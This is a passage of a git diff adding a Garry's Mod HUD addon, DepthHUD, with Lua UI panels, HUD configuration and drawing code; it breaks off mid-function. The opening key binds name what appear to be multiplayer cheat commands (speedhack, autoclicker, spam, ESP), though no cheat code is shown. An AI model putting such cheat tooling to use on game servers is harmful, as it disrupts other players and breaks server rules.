"hex_speedhack" +bind "LEFTARROW" "hex_autoclicker" +bind "DOWNARROW" "hex_spam_sent" +bind "RIGHTARROW" "hex_spam_swep" +bind "F2" "FESPConfig" +bind "F3" "+fsa_menu" +bind "F6" "dhinline_menu" +bind "F7" "dhradar_menu" +bind "F8" "mt_next" +bind "F10" "disconnect" + diff --git a/Repos/HeXs_DepthHUD-master/Desktop.ini b/Repos/HeXs_DepthHUD-master/Desktop.ini new file mode 100644 index 0000000..839ac60 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/Desktop.ini @@ -0,0 +1,3 @@ +[.ShellClassInfo] +IconFile=icon.ico +IconIndex=0 diff --git a/Repos/HeXs_DepthHUD-master/addon.txt b/Repos/HeXs_DepthHUD-master/addon.txt new file mode 100644 index 0000000..04c3df0 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/addon.txt @@ -0,0 +1,20 @@ +"AddonInfo" +{ + "name" "Depth HUD Inline SVN" + "version" "SVN" + "up_date" "31th July 2009" + "author_name" "Hurricaaane" + "author_url" "http://www.youtube.com/user/Hurricaaane" + + "info" "The classic DepthHUD, remade." + + // + // !!!!! This is important !!!!! + // + // If you are adding new stuff this should be 0 + // If you're overriding stuff that already exists this should be 1 + // Loadtimes will increase slightly with every addon you have with + // this set to 1 - so only set override if you really need to. + + "override" "0" +} \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt b/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt new file mode 100644 index 0000000..5f6e11b --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt @@ -0,0 +1,2 @@ +1.344 +Added Elements: Instant FPS, Crosshair, Update Reminder. - http://www.facepunch.com/showthread.php?p=16504028 \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/dhinline.cfg b/Repos/HeXs_DepthHUD-master/dhinline.cfg new file mode 100644 index 0000000..33d4b11 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/dhinline.cfg @@ -0,0 +1,77 @@ +dhinline_enable 1 +dhinline_disabledefault 1 +dhinline_ui_blendfonts 1 +dhinline_ui_spacing 1 +dhinline_ui_hudlag_mul 2 +dhinline_ui_hudlag_retab 0.200000 +dhinline_ui_dynamicbackground 1 +dhinline_ui_drawglow 1 +dhinline_col_base_r 0 +dhinline_col_base_g 255 +dhinline_col_base_b 255 +dhinline_col_base_a 255 +dhinline_col_back_r 0 +dhinline_col_back_g 0 +dhinline_col_back_b 0 +dhinline_col_back_a 126 +dhinline_element_ammo 1 +dhinline_element_ammo_x 15 +dhinline_element_ammo_y 16 +dhinline_element_ammo_sec 1 +dhinline_element_ammo_sec_x 16 +dhinline_element_ammo_sec_y 16 +dhinline_element_armor 1 +dhinline_element_armor_x 1 +dhinline_element_armor_y 16 +dhinline_element_clock_12 0 +dhinline_element_clock_12_x 8 +dhinline_element_clock_12_y 0 +dhinline_element_clock_24 0 +dhinline_element_clock_24_x 8 +dhinline_element_clock_24_y 0 +dhinline_element_compass 0 +dhinline_element_compass_x 8 +dhinline_element_compass_y 0 +dhinline_element_crosshair_linebow 0 +dhinline_element_crosshair_linebow_x 8 +dhinline_element_crosshair_linebow_y 6 +dhinline_element_framerate 0 +dhinline_element_framerate_x 0 +dhinline_element_framerate_y 0 +dhinline_element_framerate_fast 0 +dhinline_element_framerate_fast_x 0 +dhinline_element_framerate_fast_y 0 +dhinline_element_health 1 +dhinline_element_health_x 0 +dhinline_element_health_y 16 +dhinline_element_info_target 1 +dhinline_element_info_target_x 8 +dhinline_element_info_target_y 10 +dhinline_element_ping 1 +dhinline_element_ping_x 8 +dhinline_element_ping_y 16 +dhinline_element_team 0 +dhinline_element_team_x 0 +dhinline_element_team_y 16 +dhinline_element_vehiclespeed 1 +dhinline_element_vehiclespeed_x 14 +dhinline_element_vehiclespeed_y 0 +dhinline_element_vehiclespeed_kmh 0 +dhinline_element_vehiclespeed_kmh_x 16 +dhinline_element_vehiclespeed_kmh_y 0 +dhinline_element_witnesses 1 +dhinline_element_witnesses_x 8 +dhinline_element_witnesses_y 6 +dhinline_element_z_updatereminder 0 +dhinline_element_z_updatereminder_x 8 +dhinline_element_z_updatereminder_y 15 +depthhud_unit MPH +depthhud_hudlag 0.060000 +depthhud_reportseconds 1.400000 +depthhud_hourformat 0 +depthhud_showping 0 +depthhud_healthisteam 1 +depthhud_global_r 0 +depthhud_global_g 255 +depthhud_global_b 0 + diff --git a/Repos/HeXs_DepthHUD-master/icon.ico b/Repos/HeXs_DepthHUD-master/icon.ico new file mode 100644 index 0000000..39104ed Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/icon.ico differ diff --git a/Repos/HeXs_DepthHUD-master/icon.tga b/Repos/HeXs_DepthHUD-master/icon.tga new file mode 100644 index 0000000..12c337f Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/icon.tga differ diff --git a/Repos/HeXs_DepthHUD-master/lua/CtrlColor.lua b/Repos/HeXs_DepthHUD-master/lua/CtrlColor.lua new file mode 100644 index 0000000..73c4721 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/CtrlColor.lua @@ -0,0 +1,105 @@ +// +// ___ ___ _ _ _ __ _ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V / +// | | | _| | o || \_/ | ( |_n| o || / / \ / +// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007 +// +// + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) +AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) +AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) +AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.Mixer = vgui.Create( "DColorMixer", self ) + + self.txtR = vgui.Create( "DNumberWang", self ) + self.txtR:SetDecimals( 0 ) + self.txtR:SetMinMax( 0, 255 ) + self.txtG = vgui.Create( "DNumberWang", self ) + self.txtG:SetDecimals( 0 ) + self.txtG:SetMinMax( 0, 255 ) + self.txtB = vgui.Create( "DNumberWang", self ) + self.txtB:SetDecimals( 0 ) + self.txtB:SetMinMax( 0, 255 ) + self.txtA = vgui.Create( "DNumberWang", self ) + self.txtA:SetDecimals( 0 ) + self.txtA:SetMinMax( 0, 255 ) + self.txtA:SetVisible( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarR +---------------------------------------------------------*/ +function PANEL:SetConVarR( cvar ) + self.Mixer:SetConVarR( cvar ) + self.txtR:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarG +---------------------------------------------------------*/ +function PANEL:SetConVarG( cvar ) + self.Mixer:SetConVarG( cvar ) + self.txtG:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarB +---------------------------------------------------------*/ +function PANEL:SetConVarB( cvar ) + self.Mixer:SetConVarB( cvar ) + self.txtB:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarA +---------------------------------------------------------*/ +function PANEL:SetConVarA( cvar ) + + if ( cvar ) then self.txtA:SetVisible( true ) end + self.Mixer:SetConVarA( cvar ) + self.txtA:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + local y = 0 //self.Label1:GetTall() + 5 + + self:SetTall( 110 ) + + self.Mixer:SetSize( 150, 100 ) + self.Mixer:Center() + self.Mixer:AlignLeft( 5 ) + + self.txtR:SizeToContents() + self.txtG:SizeToContents() + self.txtB:SizeToContents() + self.txtA:SizeToContents() + + self.txtR:AlignRight( 5 ) + self.txtR:AlignTop( 5 ) + self.txtG:CopyBounds( self.txtR ) + self.txtG:CenterVertical( 0.375 ) + self.txtB:CopyBounds( self.txtG ) + self.txtB:CenterVertical( 0.625 ) + self.txtA:CopyBounds( self.txtB ) + self.txtA:AlignBottom( 5 ) + +end + + + +vgui.Register( "CtrlColor", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/DMultiChoice.lua b/Repos/HeXs_DepthHUD-master/lua/DMultiChoice.lua new file mode 100644 index 0000000..9a15cf4 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/DMultiChoice.lua @@ -0,0 +1,215 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DMultiChoice + +*/ + +PANEL = {} + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Init() + + self.DropButton = vgui.Create( "DSysButton", self ) + self.DropButton:SetType( "down" ) + self.DropButton.OnMousePressed = function( button, mcode ) self:OpenMenu( self.DropButton ) end + + self.TextEntry = vgui.Create( "DTextEntry", self ) + self.TextEntry.OnMousePressed = function( button, mcode ) self:OpenMenu( self.TextEntry ) end + + // Nicer default height + self:SetTall( 20 ) + + self.Choices = {} + self.Data = {} + +end + +/*--------------------------------------------------------- + Name: Clear +---------------------------------------------------------*/ +function PANEL:Clear() + + self.TextEntry:SetText( "" ) + self.Choices = {} + self.Data = {} + + if ( self.Menu ) then + self.Menu:Remove() + self.Menu = nil + end + +end + +/*--------------------------------------------------------- + Name: SetText +---------------------------------------------------------*/ +function PANEL:SetText( text ) + + self.TextEntry:SetText( text ) + +end + +/*--------------------------------------------------------- + Name: GetOptionText +---------------------------------------------------------*/ +function PANEL:GetOptionText( id ) + + return self.Choices[ id ] + +end + +/*--------------------------------------------------------- + Name: PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + derma.SkinHook( "Layout", "MultiChoice", self ) + +end + +/*--------------------------------------------------------- + Name: ChooseOption +---------------------------------------------------------*/ +function PANEL:ChooseOption( value, index ) + + if ( self.Menu ) then + self.Menu:Remove() + self.Menu = nil + end + + self:SetText( value ) + self.TextEntry:ConVarChanged( value ) + + self:OnSelect( index, value, self.Data[index] ) + +end + +/*--------------------------------------------------------- + Name: ChooseOptionID +---------------------------------------------------------*/ +function PANEL:ChooseOptionID( index ) + + if ( self.Menu ) then + self.Menu:Remove() + self.Menu = nil + end + + local value = self:GetOptionText( index ) + self:SetText( value ) + self.TextEntry:ConVarChanged( value ) + + self:OnSelect( index, value, self.Data[index] ) + +end + + + +/*--------------------------------------------------------- + Name: OnSelect +---------------------------------------------------------*/ +function PANEL:OnSelect( index, value, data ) + + // For override + +end + +/*--------------------------------------------------------- + Name: AddChoice +---------------------------------------------------------*/ +function PANEL:AddChoice( value, data ) + + local i = table.insert( self.Choices, value ) + + if ( data ) then + self.Data[ i ] = data + end + + return i + +end + +/*--------------------------------------------------------- + Name: OpenMenu +---------------------------------------------------------*/ +function PANEL:OpenMenu( pControlOpener ) + + if ( pControlOpener ) then + if ( pControlOpener == self.TextEntry ) then + return + end + end + + // Don't do anything if there aren't any options.. + if ( #self.Choices == 0 ) then return end + + // If the menu still exists and hasn't been deleted + // then just close it and don't open a new one. + if ( self.Menu ) then + self.Menu:Remove() + self.Menu = nil + return + end + + self.Menu = DermaMenu() + + for k, v in pairs( self.Choices ) do + self.Menu:AddOption( v, function() self:ChooseOption( v, k ) end ) + end + + local x, y = self:LocalToScreen( 0, self:GetTall() ) + + self.Menu:SetMinimumWidth( self:GetWide() ) + self.Menu:Open( x, y, false, self ) + + +end + +/*--------------------------------------------------------- + Name: SetConVar +---------------------------------------------------------*/ +function PANEL:SetConVar( cvar ) + + self.TextEntry:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: SetEditable +---------------------------------------------------------*/ +function PANEL:SetEditable( b ) + + self.TextEntry:SetEditable( b ) + +end + +/*--------------------------------------------------------- + Name: OnMousePressed +---------------------------------------------------------*/ +function PANEL:OnMousePressed( button, mcode ) + + self:OpenMenu() + +end + +/*--------------------------------------------------------- + Name: GenerateExample +---------------------------------------------------------*/ +function PANEL:GenerateExample( ClassName, PropertySheet, Width, Height ) + + local ctrl = vgui.Create( ClassName ) + ctrl:AddChoice( "Some Choice" ) + ctrl:AddChoice( "Another Choice" ) + ctrl:SetWide( 150 ) + + PropertySheet:AddSheet( ClassName, ctrl, nil, true, true ) + +end + +derma.DefineControl( "DMultiChoice", "", PANEL, "Panel" ) diff --git a/Repos/HeXs_DepthHUD-master/lua/DSysButton.lua b/Repos/HeXs_DepthHUD-master/lua/DSysButton.lua new file mode 100644 index 0000000..6ce7ee0 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/DSysButton.lua @@ -0,0 +1,84 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DSysWindow + + A system button. A button using the marlett font to show a graphic. + +*/ + +PANEL = {} + + +AccessorFunc( PANEL, "m_strType", "Type" ) +AccessorFunc( PANEL, "m_Character", "Char" ) + + + +/*--------------------------------------------------------- + Init +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetTextInset( 0, 0 ) + +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetType( strType ) + + self.m_strType = strType + + if ( strType == "close" ) then self:SetChar( "r" ) + elseif ( strType == "grip" ) then self:SetChar( "p" ) + elseif ( strType == "down" ) then self:SetChar( "u" ) + elseif ( strType == "up" ) then self:SetChar( "t" ) + elseif ( strType == "updown" ) then self:SetChar( "v" ) + elseif ( strType == "tick" ) then self:SetChar( "a" ) + elseif ( strType == "right" ) then self:SetChar( "4" ) + elseif ( strType == "left" ) then self:SetChar( "3" ) + elseif ( strType == "question" ) then self:SetChar( "s" ) + elseif ( strType == "none" ) then self:SetChar( "" ) + end + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetChar( strChar ) + + self.m_Character = strChar + self:SetText( strChar ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Paint() + + derma.SkinHook( "Paint", "SysButton", self ) + return false + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:ApplySchemeSettings() + + derma.SkinHook( "Scheme", "SysButton", self ) + +end + +derma.DefineControl( "DSysButton", "System Button", PANEL, "DButton" ) diff --git a/Repos/HeXs_DepthHUD-master/lua/DhCheckPos.lua b/Repos/HeXs_DepthHUD-master/lua/DhCheckPos.lua new file mode 100644 index 0000000..0d2ef1e --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/DhCheckPos.lua @@ -0,0 +1,143 @@ + + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVar", "ConVar" ) +AccessorFunc( PANEL, "m_Text", "Text" ) +AccessorFunc( PANEL, "m_ConVarX", "ConVarX" ) +AccessorFunc( PANEL, "m_ConVarY", "ConVarY" ) +AccessorFunc( PANEL, "m_MinMax", "MinMax" ) +//AccessorFunc( PANEL, "m_NumWide", "NumWide" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.clabel = vgui.Create( "DCheckBoxLabel", self ) + + self.configX = vgui.Create( "DNumberWang", self ) + self.configX:SetDecimals( 0 ) + self.configX:SetMinMax( 0, ScrW() ) + self.configY = vgui.Create( "DNumberWang", self ) + self.configY:SetDecimals( 0 ) + self.configY:SetMinMax( 0, ScrH() ) + + self.button = vgui.Create("DButton", self ) + self.button:SetText("R") + + /*self.options = vgui.Create( "DPanelList" , self ) + self.options:EnableHorizontal( false ) + self.options:EnableVerticalScrollbar( false )*/ + + //self:SetPaintBackground( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarEnabled +---------------------------------------------------------*/ +/*function PANEL:GetOptionsPanelList() + return self.options +end*/ + +/*--------------------------------------------------------- + Name: ConVarEnabled +---------------------------------------------------------*/ +function PANEL:SetConVar( cvar ) + self.clabel:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: Text +---------------------------------------------------------*/ +function PANEL:SetText( text ) + self.clabel:SetText( text ) + self.clabel.Label:SetTextColor(Color(0,0,0)) +end + +/*--------------------------------------------------------- + Name: ConVarX +---------------------------------------------------------*/ +function PANEL:SetConVarX( cvar ) + local myPRNum = GetConVarNumber( cvar ) + if (myPRNum - math.floor(myPRNum)) != 0 then + self.configX:SetDecimals( 2 ) + end + self.configX:SetConVar( cvar ) + self.configX:SetFloatValue( myPRNum ) +end + +/*--------------------------------------------------------- + Name: ConVarY +---------------------------------------------------------*/ +function PANEL:SetConVarY( cvar ) + local myPRNum = GetConVarNumber( cvar ) + if (myPRNum - math.floor(myPRNum)) != 0 then + self.configY:SetDecimals( 2 ) + end + self.configY:SetConVar( cvar ) + self.configY:SetFloatValue( myPRNum ) +end + +/*--------------------------------------------------------- + Name: Text +---------------------------------------------------------*/ +function PANEL:SetMinMax( min, max ) + self.configX:SetMinMax( min, max ) + self.configY:SetMinMax( min, max ) +end + +/*--------------------------------------------------------- + Name: NumWidth +---------------------------------------------------------*/ +/*function PANEL:SetNumWide( width ) + self.configX:SetWide( width ) + self.configY:SetWide( width ) +end*/ + + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + self:SetTall( 18 ) + + self.configX:SetTall( 18 ) + self.configY:SetTall( 18 ) + self.button:SetTall( 18 ) + self.button:SetWide( 18 ) + + self.clabel:SizeToContents() + self.clabel:AlignLeft( 5 ) + self.clabel:CenterVertical( ) + + self.configX:SizeToContents() + self.configY:SizeToContents() + + --self.clabel:AlignTop( 0 ) + self.configX:AlignTop( 0 ) + self.configY:AlignTop( 0 ) + + + local x,y = self.configY:GetSize( ) + local xA,yA = self.configX:GetSize( ) + self.button:AlignRight( 3 + xA + 3 + x + 3 ) + self.configX:AlignRight( 3 + x + 3 ) + self.configY:AlignRight( 3 ) + + /* + self.options:SizeToContents( ) + self.options:SetSpacing( 5 ) + self.options:EnableHorizontal( false ) + self.options:EnableVerticalScrollbar( false ) + self.options:CenterHorizontal( ) + self.options:AlignBottom( 0 ) + self.options:PerformLayout() + */ +end + + + +vgui.Register( "DhCheckPos", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/autorun/client/depthhud_inline.lua b/Repos/HeXs_DepthHUD-master/lua/autorun/client/depthhud_inline.lua new file mode 100644 index 0000000..60bc92d --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/autorun/client/depthhud_inline.lua @@ -0,0 +1,932 @@ +//////////////////////////////////////////////// +// -- Depth HUD : Inline // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Main autorun file, with drawing functions // +//////////////////////////////////////////////// +// About making elements, read _empty._lua // +//////////////////////////////////////////////// + + +if not iface3 then + HeXInclude = include +end + + + +surface.CreateFont("dhinline_hl2num", { + font = "halflife2", + size = 36, + weight = 0, + antialias = true, + additive = false, + } +) + +surface.CreateFont("dhinline_hl2nummedium", { + font = "halflife2", + size = 26, + weight = 2, + antialias = true, + additive = false, + } +) + +surface.CreateFont("dhinline_hl2numsmall", { + font = "halflife2", + size = 20, + weight = 0, + antialias = true, + additive = false, + } +) + +surface.CreateFont("dhinline_textlarge", { + font = "DIN Light", + size = 36, + weight = 0, + antialias = true, + additive = false, + } +) + +surface.CreateFont("dhinline_textmedium", { + font = "DIN Light", + size = 24, + weight = 2, + antialias = true, + additive = false, + } +) +surface.CreateFont("dhinline_textsmall", { + font = "DIN Medium", + size = 16, + weight = 400, + antialias = true, + additive = false, + } +) + + +surface.CreateFont("dhinline_textmediumbold", { + font = "DIN Medium", + size = 24, + weight = 2, + antialias = true, + additive = false, + } +) + + + + +surface.CreateFont("dhinline_hl2num_noblend", { + font = "halflife2", + size = 36, + weight = 0, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_hl2nummedium_noblend", { + font = "halflife2", + size = 26, + weight = 2, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_hl2numsmall_noblend", { + font = "halflife2", + size = 20, + weight = 0, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_textlarge_noblend", { + font = "halflife2", + size = 36, + weight = 0, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_textmedium_noblend", { + font = "halflife2", + size = 24, + weight = 2, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_textsmall_noblend", { + font = "halflife2", + size = 16, + weight = 400, + antialias = false, + additive = false, + } +) + +surface.CreateFont("dhinline_textmediumbold_noblend", { + font = "halflife2", + size = 24, + weight = 2, + antialias = false, + additive = false, + } +) + + + +CreateClientConVar("dhinline_enable", "1", true, false) +CreateClientConVar("dhinline_disabledefault", "1", true, false) +CreateClientConVar("dhinline_ui_blendfonts", "1", true, false) +CreateClientConVar("dhinline_ui_spacing", "1", true, false) +CreateClientConVar("dhinline_ui_hudlag_mul", "2", true, false) +CreateClientConVar("dhinline_ui_hudlag_retab", "0.2", true, false) +CreateClientConVar("dhinline_ui_dynamicbackground", "0", true, false) +CreateClientConVar("dhinline_ui_drawglow", "0", true, false) + +CreateClientConVar("dhinline_col_base_r", "255", true, false) +CreateClientConVar("dhinline_col_base_g", "220", true, false) +CreateClientConVar("dhinline_col_base_b", "0", true, false) +CreateClientConVar("dhinline_col_base_a", "192", true, false) + +CreateClientConVar("dhinline_col_back_r", "0", true, false) +CreateClientConVar("dhinline_col_back_g", "0", true, false) +CreateClientConVar("dhinline_col_back_b", "0", true, false) +CreateClientConVar("dhinline_col_back_a", "92", true, false) + +HeXInclude("cl_dhinline_element.lua") +HeXInclude("cl_dhinline_elementpanel.lua") + +dhinline_dat = {} + +dhinline_dat.DEBUG = false + +dhinline_dat.ui_backcolor = Color(0, 0, 0, 92) +dhinline_dat.ui_basecolor = Color(255, 220, 0, 192) +dhinline_dat.ui_basecolor_lesser = Color(255, 220, 0, 92) +dhinline_dat.ui_drawglow = 0 +dhinline_dat.ui_glowrelsize = 5.0 +dhinline_dat.ui_glowalpharel = 1.0 +dhinline_dat.ui_blendfonts = 1 +dhinline_dat.ui_hudlag = {} +dhinline_dat.ui_hudlag.x = 0 +dhinline_dat.ui_hudlag.y = 0 +dhinline_dat.ui_hudlag.mul = 2 +dhinline_dat.ui_hudlag.retab = 0.2 +dhinline_dat.ui_edgeSpacingRel = 0.015 +dhinline_dat.ui_rectHeight = 44 +dhinline_dat.ui_rectLen = math.floor(dhinline_dat.ui_rectHeight * 2.2) +dhinline_dat.ui_innerSquareProportions = 0.7 + +dhinline_dat.STOR_Smoothers = {} +dhinline_dat.STOR_TempVars = {} +dhinline_dat.STOR_HUDPATCH_Volatile = {} + +dhinline_dat.STOR_DynamicBackCalc = Color(0, 255, 255, 255) +dhinline_dat.STOR_BackCalc = Color(0,255,255,255) +dhinline_dat.STOR_BlendCalc = Color(0,255,255,255) +dhinline_dat.STOR_TextColorCalc = Color(0,255,255,255) +dhinline_dat.STOR_TextSmallColCalc = Color(0,255,255,255) + +dhinline_dat.STOR_ElementNamesTable = {} + +dhinline_dat.tex_glow = surface.GetTextureID("sprites/light_glow02_add") + +local PARAM_GRID_DIVIDE = 16 +local PARAM_HUDLAG_LastAng = EyeAngles() +local PARAM_HUDLAG_BOX = 1 +local PARAM_HUDLAG_INBOX = 1.5 +local PARAM_HUDLAG_TEXT = 1.25 +local PARAM_BLINK_PERIOD = 0.5 + + +/*function dhradar_DrawDebug(x, y , color) + if not dhinline_dat.DEBUG then return false end + local spriteid = surface.GetTextureID("depthhud/X_Square") + + surface.SetTexture(spriteid) + surface.SetDrawColor(color.r, color.g, color.b, 255) + surface.DrawTexturedRectRotated(x, y, 10, 10, 45) +end*/ + + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// INITIALIZATION FUNCTIONS . + +local function dhinline_InitializeElements() + for k,name in pairs( dhinline_dat.STOR_ElementNamesTable ) do + local ELEMENT = dhinline.Get(name) + if (ELEMENT and ELEMENT.Initialize) then + ELEMENT:Initialize( ) + end + end +end + +local function dhinline_LoadAllElements() + dhinline.RemoveAll() + + local path = "depthhud_inline_element/" + for _,script in pairs(file.Find("lua/"..path.."*.lua", "GAME")) do + ELEMENT = {} + + HeXInclude(path..script) + + local keyword = string.Replace(script, ".lua", "") + dhinline.Register(keyword, ELEMENT) + end + + dhinline_dat.STOR_ElementNamesTable = dhinline.GetNamesTable() + + print("Inline registered : ") + for k,name in pairs( dhinline_dat.STOR_ElementNamesTable ) do + Msg("["..name.."] ") + end + Msg("\n") + + dhinline_InitializeElements() + dhinline_InitializeMisc() + + hook.Remove("HUDPaint","dhinlineHUDPaint") + hook.Add("HUDPaint","dhinlineHUDPaint",dhinlineHUDPaint) +end +concommand.Add("dhinline_reloadelements",dhinline_LoadAllElements) + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// INTERNAL CALC . + +local function dhinline_CalcCenter( xRel , yRel , width, height ) + local xCalc,yCalc = 0,0 + + xDist = dhinline_dat.ui_edgeSpacingRel*ScrW() + width*0.5 + xCalc = xRel*ScrW() + (xRel*(-2) + 1)*xDist + + yDist = dhinline_dat.ui_edgeSpacingRel*ScrW() + height*0.5 //ScrW here is not a mistake + yCalc = yRel*ScrH() + (yRel*(-2) + 1)*yDist + + return xCalc, yCalc +end + +local function dhinline_CalcHudLag( ) + dhinline_dat.ui_hudlag.la = PARAM_HUDLAG_LastAng + dhinline_dat.ui_hudlag.ca = EyeAngles() + + /* + if dhinline_dat.ui_hudlag.la.y < -90 and dhinline_dat.ui_hudlag.ca.y > 90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y + 360 + elseif dhinline_dat.ui_hudlag.la.y > 90 and dhinline_dat.ui_hudlag.ca.y < -90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y - 360 + end + */ + + local targetX = math.AngleDifference(dhinline_dat.ui_hudlag.ca.y , dhinline_dat.ui_hudlag.la.y)*dhinline_dat.ui_hudlag.mul + local targetY = -math.AngleDifference(dhinline_dat.ui_hudlag.ca.p , dhinline_dat.ui_hudlag.la.p)*dhinline_dat.ui_hudlag.mul + + //print(x,y) + + dhinline_dat.ui_hudlag.x = dhinline_dat.ui_hudlag.x + (targetX - dhinline_dat.ui_hudlag.x) * math.Clamp(dhinline_dat.ui_hudlag.retab * 0.5 * FrameTime() * 50 , 0 , 1 ) + dhinline_dat.ui_hudlag.y = dhinline_dat.ui_hudlag.y + (targetY - dhinline_dat.ui_hudlag.y) * math.Clamp(dhinline_dat.ui_hudlag.retab * 0.5 * FrameTime() * 50 , 0 , 1 ) + + /* + dhinline_dat.ui_hudlag.x = (dhinline_dat.ui_hudlag.ca.y - dhinline_dat.ui_hudlag.la.y)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.y = (dhinline_dat.ui_hudlag.la.p - dhinline_dat.ui_hudlag.ca.p)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.nm = .1 + dhinline_dat.ui_hudlag.na = Angle((dhinline_dat.ui_hudlag.ca.p*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.p)/(dhinline_dat.ui_hudlag.nm+1),(dhinline_dat.ui_hudlag.ca.y*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.y)/(dhinline_dat.ui_hudlag.nm+1)) + */ + + PARAM_HUDLAG_LastAng = EyeAngles() +end + + +/* +local function dhinline_CalcHudLag( ) + //Code taken from the old DepthHUD, + //which is itself taken from NightEagle's code, + //the Compass is also his code. + + dhinline_dat.ui_hudlag.la = PARAM_HUDLAG_LastAng + dhinline_dat.ui_hudlag.ca = EyeAngles() + + if dhinline_dat.ui_hudlag.la.y < -90 and dhinline_dat.ui_hudlag.ca.y > 90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y + 360 + elseif dhinline_dat.ui_hudlag.la.y > 90 and dhinline_dat.ui_hudlag.ca.y < -90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y - 360 + end + + dhinline_dat.ui_hudlag.x = (dhinline_dat.ui_hudlag.ca.y - dhinline_dat.ui_hudlag.la.y)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.y = (dhinline_dat.ui_hudlag.la.p - dhinline_dat.ui_hudlag.ca.p)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.nm = .1 + dhinline_dat.ui_hudlag.na = Angle((dhinline_dat.ui_hudlag.ca.p*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.p)/(dhinline_dat.ui_hudlag.nm+1),(dhinline_dat.ui_hudlag.ca.y*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.y)/(dhinline_dat.ui_hudlag.nm+1)) + + PARAM_HUDLAG_LastAng = dhinline_dat.ui_hudlag.na +end +*/ + +function dhinline_GetGridDivideMax() + return PARAM_GRID_DIVIDE +end + +function dhinline_GetGenericBoxSizes() + return dhinline_dat.ui_rectLen, dhinline_dat.ui_rectHeight +end + +function dhinline_GetRelPosFromGrid( xGrid, yGrid ) + local max = dhinline_GetGridDivideMax() + local xRel, yRel = (xGrid / max), (yGrid / max) + + return xRel, yRel +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// USEFUL FUNCTIONS FOR USER . + +function dhinline_GetStyleData( stringPredefName ) + if stringPredefName == "color_base" then return dhinline_dat.ui_basecolor + elseif stringPredefName == "color_base_lesser" then return dhinline_dat.ui_basecolor_lesser + elseif 